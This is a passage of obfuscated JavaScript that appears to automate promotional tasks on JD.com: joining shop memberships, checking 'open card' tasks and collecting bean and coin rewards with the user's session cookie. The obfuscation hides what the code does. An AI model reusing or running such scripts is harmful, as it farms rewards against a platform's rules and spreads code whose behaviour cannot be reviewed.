_0x5b3ffd,_0xf8d6c4[_0x44c0('23f')])){if(_0xf8d6c4[_0x44c0('235')](_0x5b3ffd[_0x44c0('12d')],!![])&&_0x5b3ffd[_0x44c0('11c')]){let _0x5ed454='';if(_0x5b3ffd[_0x44c0('11c')][_0x44c0('240')]){_0x5ed454='\x20'+_0x5b3ffd[_0x44c0('11c')][_0x44c0('240')]+'京豆';}if(_0x5b3ffd[_0x44c0('11c')][_0x44c0('241')]){if(_0xf8d6c4[_0x44c0('235')](_0xf8d6c4[_0x44c0('242')],_0xf8d6c4[_0x44c0('242')])){_0x5ed454='\x20'+_0x5b3ffd[_0x44c0('11c')][_0x44c0('241')]+'金币';}else{_0x470d1b[_0x44c0('243')](_0x46e914);}}console[_0x44c0('7')](_0x1c6d93+_0x44c0('244')+_0xf8d6c4[_0x44c0('245')](_0x5ed454,_0xf8d6c4[_0x44c0('246')]));}else if(_0xf8d6c4[_0x44c0('226')](typeof _0x5b3ffd,_0xf8d6c4[_0x44c0('23f')])&&_0x5b3ffd[_0x44c0('103')]){console[_0x44c0('7')](_0x1c6d93+'\x20'+(_0x5b3ffd[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x3ff987);}}else{if(_0xf8d6c4[_0x44c0('247')](_0xf8d6c4[_0x44c0('248')],_0xf8d6c4[_0x44c0('249')])){console[_0x44c0('7')](_0x3ff987);}else{$[_0x44c0('4d')](e,_0x20badd);}}}}}}catch(_0x19e6bd){$[_0x44c0('4d')](_0x19e6bd,_0x20badd);}finally{if(_0xf8d6c4[_0x44c0('247')](_0xf8d6c4[_0x44c0('24a')],_0xf8d6c4[_0x44c0('24b')])){_0xf8d6c4[_0x44c0('22e')](_0x46e914);}else{console[_0x44c0('7')](_0x44c0('147')+(res[_0x44c0('103')]||''));}}});});}function getshopactivityId(_0xabccd5){var _0x3213a7={'vPKNx':_0x44c0('17'),'YPHkF':function(_0x6cc39d,_0x9e5ac8){return _0x6cc39d==_0x9e5ac8;},'CQcCB':function(_0x5990f9,_0x218e8f){return _0x5990f9===_0x218e8f;},'ABnpk':_0x44c0('24c'),'fKrdR':function(_0x260ee2,_0x55e386){return _0x260ee2!==_0x55e386;},'fNCuh':_0x44c0('24d'),'JgLFE':function(_0x4a6d7e){return _0x4a6d7e();},'wMFjk':_0x44c0('108'),'YrtJd':function(_0x24cb1d,_0xd0d358){return _0x24cb1d!=_0xd0d358;},'HOBPe':_0x44c0('53'),'OKhXk':_0x44c0('54'),'cuVFg':function(_0x5c2dbe,_0x871bb5){return _0x5c2dbe!==_0x871bb5;},'JYZJg':_0x44c0('24e'),'VmUPY':_0x44c0('24f'),'XNDKE':function(_0x26ef5a,_0x3e015a){return _0x26ef5a(_0x3e015a);}};return new Promise(_0x555b9e=>{var _0x171f84={'FcXVO':function(_0xa78b12,_0x287b55){return _0x3213a7[_0x44c0('250')](_0xa78b12,_0x287b55);},'MDFhQ':_0x3213a7[_0x44c0('251')],'LVuyt':function(_0x121c77,_0x1f0ab3){return _0x3213a7[_0x44c0('252')](_0x121c77,_0x1f0ab3);},'IdXlX':function(_0x187c35,_0x726593){return _0x3213a7[_0x44c0('253')](_0x187c35,_0x726593);},'DgOXI':_0x3213a7[_0x44c0('254')],'ucWmL':_0x3213a7[_0x44c0('255')]};if(_0x3213a7[_0x44c0('256')](_0x3213a7[_0x44c0('257')],_0x3213a7[_0x44c0('258')])){$[_0x44c0('259')](_0x3213a7[_0x44c0('25a')](shopactivityId,''+_0xabccd5),async(_0x171ce6,_0x33fcb6,_0x2dfaf9)=>{var _0x3eca14={'Bckhl':_0x3213a7[_0x44c0('25b')]};try{_0x2dfaf9=JSON[_0x44c0('2a')](_0x2dfaf9);if(_0x3213a7[_0x44c0('250')](_0x2dfaf9[_0x44c0('25c')],!![])){console[_0x44c0('7')](_0x44c0('1a6')+(_0x2dfaf9[_0x44c0('12d')][_0x44c0('1a7')][_0x44c0('1a8')]||''));$[_0x44c0('1a9')]=_0x2dfaf9[_0x44c0('12d')][_0x44c0('1aa')]&&_0x2dfaf9[_0x44c0('12d')][_0x44c0('1aa')][0x0]&&_0x2dfaf9[_0x44c0('12d')][_0x44c0('1aa')][0x0][_0x44c0('1ab')]&&_0x2dfaf9[_0x44c0('12d')][_0x44c0('1aa')][0x0][_0x44c0('1ab')][_0x44c0('32')]||'';}}catch(_0x18e721){if(_0x3213a7[_0x44c0('252')](_0x3213a7[_0x44c0('25d')],_0x3213a7[_0x44c0('25d')])){$[_0x44c0('4d')](_0x18e721,_0x33fcb6);}else{console[_0x44c0('7')](_0x3eca14[_0x44c0('25e')]);$[_0x44c0('15')]=!![];}}finally{if(_0x3213a7[_0x44c0('25f')](_0x3213a7[_0x44c0('260')],_0x3213a7[_0x44c0('260')])){console[_0x44c0('7')](_0x2dfaf9);}else{_0x3213a7[_0x44c0('261')](_0x555b9e);}}});}else{res=$[_0x44c0('12b')](data);if(_0x171f84[_0x44c0('262')](typeof res,_0x171f84[_0x44c0('263')])&&res[_0x44c0('12d')]&&_0x171f84[_0x44c0('264')](res[_0x44c0('12d')],!![])){if(res[_0x44c0('11c')]&&_0x171f84[_0x44c0('265')](typeof res[_0x44c0('11c')][_0x44c0('20e')],_0x171f84[_0x44c0('266')]))$[_0x44c0('7a')]=res[_0x44c0('11c')][_0x44c0('20e')]||_0x171f84[_0x44c0('267')];}else if(_0x171f84[_0x44c0('262')](typeof res,_0x171f84[_0x44c0('263')])&&res[_0x44c0('103')]){console[_0x44c0('7')](_0x44c0('268')+(res[_0x44c0('103')]||''));}else{console[_0x44c0('7')](data);}}});}function shopactivityId(_0x29723a){var _0x3edc89={'dBVil':_0x44c0('155'),'jyUyN':_0x44c0('156'),'lHZyH':_0x44c0('157'),'kGGGP':_0x44c0('158'),'ZTETy':_0x44c0('159')};return{'url':_0x44c0('181')+_0x29723a+_0x44c0('182'),'headers':{'Content-Type':_0x3edc89[_0x44c0('269')],'Origin':_0x3edc89[_0x44c0('26a')],'Host':_0x3edc89[_0x44c0('26b')],'accept':_0x3edc89[_0x44c0('26c')],'User-Agent':$['UA'],'content-type':_0x3edc89[_0x44c0('26d')],'Referer':_0x44c0('188')+_0x29723a+_0x44c0('189')+_0x29723a+_0x44c0('18a')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')],'Cookie':cookie}};}function join(_0x5bd648){var _0x3015c1={'NstuG':function(_0x316d47,_0x2168ae){return _0x316d47>_0x2168ae;},'serOT':_0x44c0('26e'),'jgqgT':function(_0x184cdd,_0x39d26a){return _0x184cdd+_0x39d26a;},'kYsyP':function(_0x23039e,_0x50fb2a){return _0x23039e>_0x50fb2a;},'UFLVV':_0x44c0('26f'),'Uiiun':function(_0x5dd70a,_0x4534c1){return _0x5dd70a+_0x4534c1;},'JPCCC':_0x44c0('17'),'RwZBE':_0x44c0('52'),'tNEJa':function(_0xefc8de){return _0xefc8de();},'XFRIF':function(_0x49f34d,_0x1bb70e){return _0x49f34d==_0x1bb70e;},'vAMnS':_0x44c0('108'),'vNare':function(_0x2e6529,_0x5dab35){return _0x2e6529===_0x5dab35;},'McPui':_0x44c0('270'),'uxdtR':_0x44c0('271'),'tubBx':function(_0x41e1f9,_0x4aa98c){return _0x41e1f9!==_0x4aa98c;},'xTUaY':_0x44c0('272'),'NwnyM':_0x44c0('273'),'CeyYQ':_0x44c0('274'),'RehEI':_0x44c0('275'),'gcdDG':function(_0x25e93d,_0x1fde73){return _0x25e93d!==_0x1fde73;},'CDCoz':_0x44c0('276'),'UiKqF':_0x44c0('277'),'rBKFW':_0x44c0('278'),'VVypI':function(_0x3fddac,_0x1d61d9){return _0x3fddac(_0x1d61d9);}};return new Promise(async _0x5f0126=>{var _0x524cf7={'rVKOU':_0x3015c1[_0x44c0('279')],'PGdHn':_0x3015c1[_0x44c0('27a')],'horiL':function(_0x39567d){return _0x3015c1[_0x44c0('27b')](_0x39567d);},'aFnVy':function(_0x3570ae,_0x192e5c){return _0x3015c1[_0x44c0('27c')](_0x3570ae,_0x192e5c);},'MqrRa':_0x3015c1[_0x44c0('27d')],'CuTKK':function(_0x53bdc5,_0x1b8b75){return _0x3015c1[_0x44c0('27e')](_0x53bdc5,_0x1b8b75);},'sgvfn':_0x3015c1[_0x44c0('27f')],'biYWy':_0x3015c1[_0x44c0('280')],'UqxPz':function(_0x374499,_0x31d56f){return _0x3015c1[_0x44c0('281')](_0x374499,_0x31d56f);},'SeDXh':_0x3015c1[_0x44c0('282')],'Jowph':_0x3015c1[_0x44c0('283')],'KNvsV':function(_0x538eb1,_0x1ac394){return _0x3015c1[_0x44c0('27c')](_0x538eb1,_0x1ac394);},'fsXYq':function(_0x360ac3,_0x350b2d){return _0x3015c1[_0x44c0('281')](_0x360ac3,_0x350b2d);},'AJAtQ':_0x3015c1[_0x44c0('284')],'enFuf':_0x3015c1[_0x44c0('285')],'WVtOC':function(_0x5f0a46,_0x5d8b46){return _0x3015c1[_0x44c0('286')](_0x5f0a46,_0x5d8b46);},'nfHHs':_0x3015c1[_0x44c0('287')]};if(_0x3015c1[_0x44c0('27e')](_0x3015c1[_0x44c0('288')],_0x3015c1[_0x44c0('289')])){if(_0x3015c1[_0x44c0('28a')](name[_0x44c0('28b')](_0x3015c1[_0x44c0('28c')]),-0x1))LZ_TOKEN_KEY=_0x3015c1[_0x44c0('28d')](name[_0x44c0('142')](/ /g,''),';');if(_0x3015c1[_0x44c0('28e')](name[_0x44c0('28b')](_0x3015c1[_0x44c0('28f')]),-0x1))LZ_TOKEN_VALUE=_0x3015c1[_0x44c0('290')](name[_0x44c0('142')](/ /g,''),';');}else{$[_0x44c0('1a9')]='';await $[_0x44c0('81')](0x3e8);await _0x3015c1[_0x44c0('291')](getshopactivityId,_0x5bd648);$[_0x44c0('259')](_0x3015c1[_0x44c0('291')](ruhui,''+_0x5bd648),async(_0x7badea,_0x5d0e4d,_0x1f759f)=>{var _0x40d3ec={'rpoId':_0x524cf7[_0x44c0('292')],'tgdVQ':function(_0x23af19){return _0x524cf7[_0x44c0('293')](_0x23af19);}};try{res=$[_0x44c0('12b')](_0x1f759f);if(_0x524cf7[_0x44c0('294')](typeof res,_0x524cf7[_0x44c0('295')])){if(_0x524cf7[_0x44c0('296')](_0x524cf7[_0x44c0('297')],_0x524cf7[_0x44c0('298')])){console[_0x44c0('7')](_0x1f759f);}else{if(_0x524cf7[_0x44c0('296')](res[_0x44c0('25c')],!![])){if(_0x524cf7[_0x44c0('299')](_0x524cf7[_0x44c0('29a')],_0x524cf7[_0x44c0('29b')])){console[_0x44c0('7')](res[_0x44c0('13d')]);if(res[_0x44c0('12d')]&&res[_0x44c0('12d')][_0x44c0('29c')]){for(let _0x35e93c of res[_0x44c0('12d')][_0x44c0('29c')][_0x44c0('29d')]){console[_0x44c0('7')](_0x44c0('231')+_0x35e93c[_0x44c0('232')]+_0x35e93c[_0x44c0('233')]+_0x35e93c[_0x44c0('234')]);}}}else{console[_0x44c0('7')](_0x524cf7[_0x44c0('29e')]);$[_0x44c0('15')]=!![];}}else if(_0x524cf7[_0x44c0('29f')](typeof res,_0x524cf7[_0x44c0('295')])&&res[_0x44c0('13d')]){console[_0x44c0('7')](''+(res[_0x44c0('13d')]||''));}else{if(_0x524cf7[_0x44c0('2a0')](_0x524cf7[_0x44c0('2a1')],_0x524cf7[_0x44c0('2a2')])){console[_0x44c0('7')](_0x1f759f);}else{console[_0x44c0('7')](_0x40d3ec[_0x44c0('2a3')]);return;}}}}else{console[_0x44c0('7')](_0x1f759f);}}catch(_0x202a23){$[_0x44c0('4d')](_0x202a23,_0x5d0e4d);}finally{if(_0x524cf7[_0x44c0('2a4')](_0x524cf7[_0x44c0('2a5')],_0x524cf7[_0x44c0('2a5')])){_0x40d3ec[_0x44c0('2a6')](_0x5f0126);}else{_0x524cf7[_0x44c0('293')](_0x5f0126);}}});}});}function ruhui(_0x13203d){var _0x4df783={'aQpQv':_0x44c0('155'),'uMmWP':_0x44c0('156'),'pPFdJ':_0x44c0('157'),'WeGlu':_0x44c0('158'),'RnNze':_0x44c0('159')};let _0x51a01a='';if($[_0x44c0('1a9')])_0x51a01a=_0x44c0('2a7')+$[_0x44c0('1a9')];return{'url':_0x44c0('2a8')+_0x13203d+_0x44c0('2a9')+_0x13203d+_0x44c0('2aa')+_0x51a01a+_0x44c0('2ab'),'headers':{'Content-Type':_0x4df783[_0x44c0('2ac')],'Origin':_0x4df783[_0x44c0('2ad')],'Host':_0x4df783[_0x44c0('2ae')],'accept':_0x4df783[_0x44c0('2af')],'User-Agent':$['UA'],'content-type':_0x4df783[_0x44c0('2b0')],'Referer':_0x44c0('188')+_0x13203d+_0x44c0('189')+_0x13203d+_0x44c0('18a')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')],'Cookie':cookie}};}function drawContent(){var _0x572845={'cuiYc':function(_0x16b31b,_0x1a76b7){return _0x16b31b==_0x1a76b7;},'AaCnq':_0x44c0('17'),'RcpPA':function(_0x43f049,_0x45b28c){return _0x43f049!==_0x45b28c;},'kJmIO':_0x44c0('2b1'),'UGFKE':function(_0x2bf1e6,_0x2274bc){return _0x2bf1e6!==_0x2274bc;},'kLvaO':_0x44c0('2b2'),'oPmzl':function(_0x4a254e){return _0x4a254e();},'UvVlv':function(_0x266845,_0xd86c30){return _0x266845(_0xd86c30);},'XzlnP':function(_0x3456a7,_0x3c73c6,_0x3ebcd0){return _0x3456a7(_0x3c73c6,_0x3ebcd0);},'AYklU':_0x44c0('2b3')};return new Promise(_0x10c2ae=>{var _0x1a2287={'Jnruz':function(_0x26fcce){return _0x572845[_0x44c0('2b4')](_0x26fcce);}};let _0xa6066c=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('120')+_0x572845[_0x44c0('2b5')](encodeURIComponent,$[_0x44c0('6b')]);$[_0x44c0('122')](_0x572845[_0x44c0('2b6')](taskPostUrl,_0x572845[_0x44c0('2b7')],_0xa6066c),async(_0x1558c8,_0x5650eb,_0x108bba)=>{var _0x3477eb={'kOzBw':function(_0x8f8caa,_0x4878a1){return _0x572845[_0x44c0('2b8')](_0x8f8caa,_0x4878a1);},'TApBM':_0x572845[_0x44c0('2b9')]};if(_0x572845[_0x44c0('2ba')](_0x572845[_0x44c0('2bb')],_0x572845[_0x44c0('2bb')])){_0x1a2287[_0x44c0('2bc')](_0x10c2ae);}else{try{if(_0x1558c8){if(_0x572845[_0x44c0('2bd')](_0x572845[_0x44c0('2be')],_0x572845[_0x44c0('2be')])){if(_0x5650eb[_0x44c0('45')]&&_0x3477eb[_0x44c0('2bf')](_0x5650eb[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x3477eb[_0x44c0('2c0')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1558c8));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{if(_0x5650eb[_0x44c0('45')]&&_0x572845[_0x44c0('2b8')](_0x5650eb[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x572845[_0x44c0('2b9')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1558c8));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}else{}}catch(_0x11fc74){$[_0x44c0('4d')](_0x11fc74,_0x5650eb);}finally{_0x572845[_0x44c0('2b4')](_0x10c2ae);}}});});}function checkOpenCard(_0x19e867){var _0x3f2bbf={'vzLoD':function(_0x10da6d,_0x1298ba){return _0x10da6d==_0x1298ba;},'UixGg':_0x44c0('17'),'CjnhM':function(_0x11f37b,_0xc450a8){return _0x11f37b!==_0xc450a8;},'qBHic':_0x44c0('2c1'),'IJuop':_0x44c0('2c2'),'dnMBf':function(_0x440291,_0x2305ea){return _0x440291==_0x2305ea;},'hYAMN':_0x44c0('2c3'),'ZhXBB':function(_0x3cb64d,_0x18ba28){return _0x3cb64d===_0x18ba28;},'WOBOv':_0x44c0('108'),'RgviW':function(_0xee7198){return _0xee7198();},'UYFGr':function(_0x3f4570,_0x2b06c3){return _0x3f4570===_0x2b06c3;},'nqhTG':_0x44c0('2c4'),'TMxOH':_0x44c0('2c5'),'Lsvdq':_0x44c0('2c6'),'HGaOy':_0x44c0('200'),'qBOga':function(_0x45431f,_0x50e9a4){return _0x45431f(_0x50e9a4);},'GudVG':function(_0x511316,_0xdc434,_0x29dd91){return _0x511316(_0xdc434,_0x29dd91);}};return new Promise(_0x407733=>{var _0xd5a1ef={'AVlbG':function(_0x5cdbaa,_0x44c98e){return _0x3f2bbf[_0x44c0('2c7')](_0x5cdbaa,_0x44c98e);},'TLpAi':_0x3f2bbf[_0x44c0('2c8')],'qMAat':_0x3f2bbf[_0x44c0('2c9')],'jKXAs':function(_0x18697e,_0x4bbc67){return _0x3f2bbf[_0x44c0('2ca')](_0x18697e,_0x4bbc67);},'vORAu':_0x3f2bbf[_0x44c0('2cb')],'yBEFG':_0x3f2bbf[_0x44c0('2cc')],'ZBuBW':function(_0x2e97a4,_0x19b849){return _0x3f2bbf[_0x44c0('2cd')](_0x2e97a4,_0x19b849);},'sSuDM':_0x3f2bbf[_0x44c0('2ce')],'RBEff':function(_0xbd31fc){return _0x3f2bbf[_0x44c0('2cf')](_0xbd31fc);}};if(_0x3f2bbf[_0x44c0('2d0')](_0x3f2bbf[_0x44c0('2d1')],_0x3f2bbf[_0x44c0('2d2')])){if(resp[_0x44c0('45')]&&_0x3f2bbf[_0x44c0('2d3')](resp[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x3f2bbf[_0x44c0('2cc')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](err));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{let _0x5e0f2e=_0x3f2bbf[_0x44c0('2d4')];if(_0x3f2bbf[_0x44c0('2ca')](_0x19e867,0x2)){_0x5e0f2e=_0x3f2bbf[_0x44c0('2d5')];}let _0xde169d=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')]+_0x44c0('120')+_0x3f2bbf[_0x44c0('2d6')](encodeURIComponent,$[_0x44c0('6b')]);$[_0x44c0('122')](_0x3f2bbf[_0x44c0('2d7')](taskPostUrl,_0x5e0f2e,_0xde169d),async(_0x1677b8,_0x52cc5e,_0x4d9cb0)=>{try{if(_0xd5a1ef[_0x44c0('2d8')](_0xd5a1ef[_0x44c0('2d9')],_0xd5a1ef[_0x44c0('2da')])){if(_0x1677b8){if(_0x52cc5e[_0x44c0('45')]&&_0xd5a1ef[_0x44c0('2db')](_0x52cc5e[_0x44c0('45')],0x1ed)){if(_0xd5a1ef[_0x44c0('2d8')](_0xd5a1ef[_0x44c0('2dc')],_0xd5a1ef[_0x44c0('2dc')])){console[_0x44c0('7')](_0x4d9cb0);}else{console[_0x44c0('7')](_0xd5a1ef[_0x44c0('2dd')]);$[_0x44c0('15')]=!![];}}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1677b8));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{let _0x26ba07=$[_0x44c0('12b')](_0x4d9cb0);if(_0xd5a1ef[_0x44c0('2de')](typeof _0x26ba07,_0xd5a1ef[_0x44c0('2df')])){$[_0x44c0('7f')]=_0x26ba07[_0x44c0('11c')][_0x44c0('1ee')];$[_0x44c0('87')]=_0x26ba07[_0x44c0('11c')][_0x44c0('87')];$[_0x44c0('1ef')]=_0x26ba07[_0x44c0('11c')][_0x44c0('1ef')];}}}else{console[_0x44c0('7')](_0x4d9cb0);}}catch(_0x134f6a){$[_0x44c0('4d')](_0x134f6a,_0x52cc5e);}finally{_0xd5a1ef[_0x44c0('2e0')](_0x407733);}});}});}function getActorUuid(){var _0x2b5fa3={'AiIJf':function(_0x11437c,_0x1cb477){return _0x11437c!=_0x1cb477;},'wTVQB':_0x44c0('53'),'qsBAU':function(_0x139dda,_0x156f59){return _0x139dda===_0x156f59;},'EEyyo':function(_0x5a6e70,_0x4abf8b){return _0x5a6e70==_0x4abf8b;},'TYipb':_0x44c0('108'),'SdaIw':_0x44c0('17'),'CUGQP':_0x44c0('2e1'),'FTEWk':_0x44c0('2e2'),'HKXks':_0x44c0('2e3'),'NtVSM':function(_0x1f7f6f,_0x5317c2){return _0x1f7f6f!==_0x5317c2;},'artYa':_0x44c0('2e4'),'FPzvz':function(_0xc3695b,_0x2aa1d5){return _0xc3695b==_0x2aa1d5;},'ucFME':function(_0x16d956,_0x5b3a01){return _0x16d956===_0x5b3a01;},'sMhzk':_0x44c0('2e5'),'tNADa':_0x44c0('2e6'),'pHmGj':function(_0xbe3c92,_0x4995d0){return _0xbe3c92!=_0x4995d0;},'XSsjO':function(_0x5f5809,_0x257c83){return _0x5f5809===_0x257c83;},'PEWcp':_0x44c0('2e7'),'qFGTf':_0x44c0('2e8'),'jquRx':function(_0x58c06d){return _0x58c06d();},'ldUEs':_0x44c0('2e9'),'EPzMh':_0x44c0('2ea'),'fmQfJ':function(_0x53000b,_0x3b8818){return _0x53000b(_0x3b8818);},'zFLnS':function(_0x32776d,_0x4e8508,_0xefa74c){return _0x32776d(_0x4e8508,_0xefa74c);},'weqYQ':_0x44c0('2eb')};return new Promise(_0x28518c=>{var _0x469774={'tSdMI':function(_0x185262,_0x3129ba){return _0x2b5fa3[_0x44c0('2ec')](_0x185262,_0x3129ba);},'SZjub':_0x2b5fa3[_0x44c0('2ed')],'YLVLT':function(_0x28a244,_0x21b8a9){return _0x2b5fa3[_0x44c0('2ee')](_0x28a244,_0x21b8a9);},'ERYhR':function(_0x22b121,_0x338ec5){return _0x2b5fa3[_0x44c0('2ef')](_0x22b121,_0x338ec5);},'HphHl':_0x2b5fa3[_0x44c0('2f0')],'psuLC':_0x2b5fa3[_0x44c0('2f1')],'FRoCo':function(_0x23a169,_0x8557bb){return _0x2b5fa3[_0x44c0('2ef')](_0x23a169,_0x8557bb);},'dOkYN':_0x2b5fa3[_0x44c0('2f2')],'kfkZO':_0x2b5fa3[_0x44c0('2f3')],'vASyX':function(_0x578b1f,_0x540c77){return _0x2b5fa3[_0x44c0('2ee')](_0x578b1f,_0x540c77);},'HUSYW':_0x2b5fa3[_0x44c0('2f4')],'HFGdg':function(_0x2a738c,_0xccec93){return _0x2b5fa3[_0x44c0('2f5')](_0x2a738c,_0xccec93);},'eygPk':_0x2b5fa3[_0x44c0('2f6')],'OWQaf':function(_0x4a123e,_0x2045c1){return _0x2b5fa3[_0x44c0('2f7')](_0x4a123e,_0x2045c1);},'oQula':function(_0x27e0d3,_0x1e1ef4){return _0x2b5fa3[_0x44c0('2f8')](_0x27e0d3,_0x1e1ef4);},'PukbB':_0x2b5fa3[_0x44c0('2f9')],'tnagH':_0x2b5fa3[_0x44c0('2fa')],'RPCFC':function(_0x10b091,_0x233991){return _0x2b5fa3[_0x44c0('2f7')](_0x10b091,_0x233991);},'ZrYoT':function(_0x37ffca,_0x4a6510){return _0x2b5fa3[_0x44c0('2fb')](_0x37ffca,_0x4a6510);},'CvdvK':function(_0x31d0a2,_0x1b493d){return _0x2b5fa3[_0x44c0('2fb')](_0x31d0a2,_0x1b493d);},'wGMCu':function(_0x536e8f,_0x29248d){return _0x2b5fa3[_0x44c0('2fc')](_0x536e8f,_0x29248d);},'EDOWt':_0x2b5fa3[_0x44c0('2fd')],'thbVd':function(_0x30b6f3,_0x4f204f){return _0x2b5fa3[_0x44c0('2fc')](_0x30b6f3,_0x4f204f);},'xoWYf':_0x2b5fa3[_0x44c0('2fe')],'kprhV':function(_0x4fe38e){return _0x2b5fa3[_0x44c0('2ff')](_0x4fe38e);}};if(_0x2b5fa3[_0x44c0('2fc')](_0x2b5fa3[_0x44c0('300')],_0x2b5fa3[_0x44c0('301')])){if(res[_0x44c0('11c')]&&_0x469774[_0x44c0('302')](typeof res[_0x44c0('11c')][_0x44c0('303')],_0x469774[_0x44c0('304')]))$[_0x44c0('6b')]=res[_0x44c0('11c')][_0x44c0('303')];if(res[_0x44c0('11c')]&&_0x469774[_0x44c0('302')](typeof res[_0x44c0('11c')][_0x44c0('71')],_0x469774[_0x44c0('304')]))$[_0x44c0('71')]=res[_0x44c0('11c')][_0x44c0('71')];}else{let _0x5c7a6a=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('120')+_0x2b5fa3[_0x44c0('305')](encodeURIComponent,$[_0x44c0('6b')])+_0x44c0('306')+_0x2b5fa3[_0x44c0('305')](encodeURIComponent,$[_0x44c0('7a')])+_0x44c0('307')+_0x2b5fa3[_0x44c0('305')](encodeURIComponent,$[_0x44c0('71')])+_0x44c0('308')+$[_0x44c0('30')];$[_0x44c0('122')](_0x2b5fa3[_0x44c0('309')](taskPostUrl,_0x2b5fa3[_0x44c0('30a')],_0x5c7a6a),async(_0x1ca615,_0x2bc0b0,_0x50d327)=>{if(_0x469774[_0x44c0('30b')](_0x469774[_0x44c0('30c')],_0x469774[_0x44c0('30d')])){if(_0x469774[_0x44c0('30b')](res[_0x44c0('12d')],!![])&&res[_0x44c0('11c')]){$[_0x44c0('de')]=res[_0x44c0('11c')][_0x44c0('37')];$[_0x44c0('7')](_0x44c0('17d')+res[_0x44c0('11c')][_0x44c0('37')]+'个');}else if(_0x469774[_0x44c0('30e')](typeof res,_0x469774[_0x44c0('30f')])&&res[_0x44c0('103')]){console[_0x44c0('7')](''+(res[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x50d327);}}else{try{if(_0x469774[_0x44c0('310')](_0x469774[_0x44c0('311')],_0x469774[_0x44c0('311')])){if(_0x1ca615){if(_0x469774[_0x44c0('312')](_0x469774[_0x44c0('313')],_0x469774[_0x44c0('313')])){console[_0x44c0('7')](_0x469774[_0x44c0('314')]);$[_0x44c0('15')]=!![];}else{if(_0x2bc0b0[_0x44c0('45')]&&_0x469774[_0x44c0('315')](_0x2bc0b0[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x469774[_0x44c0('314')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1ca615));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}else{if(_0x469774[_0x44c0('316')](_0x469774[_0x44c0('317')],_0x469774[_0x44c0('318')])){$[_0x44c0('4d')](e,_0x2bc0b0);}else{res=$[_0x44c0('12b')](_0x50d327);if(_0x469774[_0x44c0('319')](typeof res,_0x469774[_0x44c0('30f')])&&res[_0x44c0('12d')]&&_0x469774[_0x44c0('316')](res[_0x44c0('12d')],!![])){if(_0x469774[_0x44c0('31a')](typeof res[_0x44c0('11c')][_0x44c0('42')],_0x469774[_0x44c0('304')]))$[_0x44c0('42')]=res[_0x44c0('11c')][_0x44c0('42')];if(_0x469774[_0x44c0('31a')](typeof res[_0x44c0('11c')][_0x44c0('c1')],_0x469774[_0x44c0('304')]))$[_0x44c0('c1')]=res[_0x44c0('11c')][_0x44c0('c1')];if(_0x469774[_0x44c0('31a')](typeof res[_0x44c0('11c')][_0x44c0('bf')],_0x469774[_0x44c0('304')]))$[_0x44c0('bf')]=res[_0x44c0('11c')][_0x44c0('bf')];if(_0x469774[_0x44c0('31b')](typeof res[_0x44c0('11c')][_0x44c0('c3')],_0x469774[_0x44c0('304')]))$[_0x44c0('c3')]=res[_0x44c0('11c')][_0x44c0('c3')];}else if(_0x469774[_0x44c0('319')](typeof res,_0x469774[_0x44c0('30f')])&&res[_0x44c0('103')]){console[_0x44c0('7')](_0x44c0('31c')+(res[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x50d327);}}}}else{console[_0x44c0('7')](title+'\x20'+(res[_0x44c0('103')]||''));}}catch(_0xde1ff2){if(_0x469774[_0x44c0('31d')](_0x469774[_0x44c0('31e')],_0x469774[_0x44c0('31e')])){$[_0x44c0('4d')](_0xde1ff2,_0x2bc0b0);}else{$[_0x44c0('4d')](_0xde1ff2,_0x2bc0b0);}}finally{if(_0x469774[_0x44c0('31f')](_0x469774[_0x44c0('320')],_0x469774[_0x44c0('320')])){_0x469774[_0x44c0('321')](_0x28518c);}else{if(_0x1ca615){if(_0x2bc0b0[_0x44c0('45')]&&_0x469774[_0x44c0('322')](_0x2bc0b0[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x469774[_0x44c0('314')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1ca615));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{}}}}});}});}function getUserInfo(){var _0x1998ad={'zIXrX':function(_0x51615f,_0x5177d2){return _0x51615f!=_0x5177d2;},'JjBbC':_0x44c0('108'),'wPcNN':function(_0x285f0e,_0x5dda75){return _0x285f0e>_0x5dda75;},'FoPEE':_0x44c0('26e'),'GIhnR':function(_0x2fdecb,_0x569426){return _0x2fdecb+_0x569426;},'CiVLn':function(_0x1492a4,_0x594e85){return _0x1492a4>_0x594e85;},'jJRxc':_0x44c0('26f'),'YtQbk':function(_0x5f254d,_0x23a65e){return _0x5f254d+_0x23a65e;},'oOdBo':function(_0x218e73,_0x46b176){return _0x218e73==_0x46b176;},'aTVVY':_0x44c0('323'),'YoUyD':_0x44c0('16'),'EkbeU':_0x44c0('17'),'WbErO':function(_0x407496,_0xaa20d){return _0x407496!==_0xaa20d;},'GoqNa':_0x44c0('324'),'QiXWE':_0x44c0('325'),'lUzEH':function(_0x2f20da,_0x5d615c){return _0x2f20da==_0x5d615c;},'lynKa':function(_0x172fe5,_0x426b69){return _0x172fe5===_0x426b69;},'MjkWn':_0x44c0('326'),'GbGcZ':_0x44c0('327'),'zdZhv':function(_0x4a8e93,_0xb8cef0){return 